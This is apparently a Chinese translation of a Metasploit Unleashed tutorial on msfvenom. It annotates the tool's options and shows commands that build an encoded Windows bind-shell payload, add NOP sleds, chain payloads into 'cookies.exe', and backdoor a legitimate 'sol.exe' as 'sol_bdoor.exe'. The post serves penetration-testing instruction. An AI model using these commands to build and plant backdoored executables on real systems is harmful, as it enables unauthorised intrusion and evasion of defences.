msfvenom集成了msfpayload和msfencode的功能,还添加了一些东西。。。
原文:https://www.offensive-security.com/metasploit-unleashed/Msfvenom/
root@kali:~# msfvenom -h MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val> Options: -p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads //指定需要使用的payload;如果需要使用自定义的payload,请使用'-'或者stdin指定 --payload-options List the payload's standard options //列出这个payload的options -l, --list [type] List a module type. Options are: payloads, encoders, nops, all //列出指定模块类型(payloads、encoders、nops、all) -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload // 为payload预先指定一个NOP滑动长度 -f, --format <format> Output format (use --help-formats for a list) //指定输出格式 --help-formats List available formats //列出所有有效的格式 -e, --encoder <encoder> The encoder to use //指定使用的编码器 -a, --arch <arch> The architecture to use //指定目标架构 --platform <platform> The platform of the payload //指定目标平台 -s, --space <length> The maximum size of the resulting payload //设定攻击荷载的最大字节数 --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) //设定编码后的攻击荷载的最大字节数 -b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' //设定规避字符集,比如: '\x00\xff' -i, --iterations <count> The number of times to encode the payload //指定payload的编码次数 -c, --add-code <path> Specify an additional win32 shellcode file to include //指定一个附加的win32 shellcode文件 -x, --template <path> Specify a custom executable file to use as a template //指定一个自定义的可执行文件作为模板 -k, --keep Preserve the template behavior and inject the payload as a new thread //注入到payload作为一个新的进程并保持该模板程序的行为 -o, --out <path> Save the payload //保存payload -v, --var-name <name> Specify a custom variable name to use for certain output formats //为输出自定义命名 --smallest Generate the smallest possible payload //生成可能情况下最小的payload -h, --help Show this message
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
Cisco or cisco OSX or osx Solaris or solaris BSD or bsd OpenBSD or openbsd Firefox or firefox BSDi or bsdi NetBSD or netbsd NodeJS or nodejs FreeBSD or freebsd Python or python AIX or aix JavaScript or javascript HPUX or hpux PHP or php Irix or irix Unix or unix Linux or linux Ruby or ruby Java or java Android or android Netware or netware Windows or windows
msfvenom -v or �Cvar-name
(默认输出名称为“buf”)
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python -v notBuf
msfvenom �Chelp-format
输出有效的payload格式
root@kali:~# msfvenom --help-formats Executable formats asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
msfvenom -n, �Cnopsled
在payload开头加些NOPs
BEFORE:
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none succeeded with size 299 (iteration=0) generic/none chosen with final size 299 Payload size: 299 bytes buf = "" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" <snip>
AFTER:
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python -n 26 Found 1 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none succeeded with size 299 (iteration=0) generic/none chosen with final size 299 Successfully added NOP sled from x86/single_byte Payload size: 325 bytes buf = ""buf += "\x98\xfd\x40\xf9\x43\x49\x40\x4a\x98\x49\xfd\x37\x43" **NOPs buf += "\x42\xf5\x92\x42\x42\x98\xf8\xd6\x93\xf5\x92\x3f\x98" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload <snip>
msfvenom �Csmallest
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python --smallest
msfvenom -c, �Cadd-code
在一个shellcode里面添加多个payloads
Payload #1:
root@kali:~# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSFU Example" -f raw > messageBox No encoder or badchars specified, outputting raw payload Payload size: 267 bytes
Adding payload #2:
root@kali:~# msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="We are evil" -f raw > messageBox2 Adding shellcode from messageBox to the payload No encoder or badchars specified, outputting raw payload Payload size: 850 bytes
Adding payload #3:
root@kali:~# msfvenom -c messageBox2 -a x86 --platform Windows -p windows/shell/bind_tcp -f exe -o cookies.exe Adding shellcode from messageBox2 to the payload No encoder or badchars specified, outputting raw payload Payload size: 1469 bytes Saved as: cookies.exe
msfvenom -x, �Ctemplate & -k, �Ckeep
root@kali:~# msfvenom -a x86 --platform windows -x sol.exe -k -p windows/messagebox lhost=192.168.101.133 -b "\x00" -f exe -o sol_bdoor.exe
再推荐下:http://drops.wooyun.org/tips/10146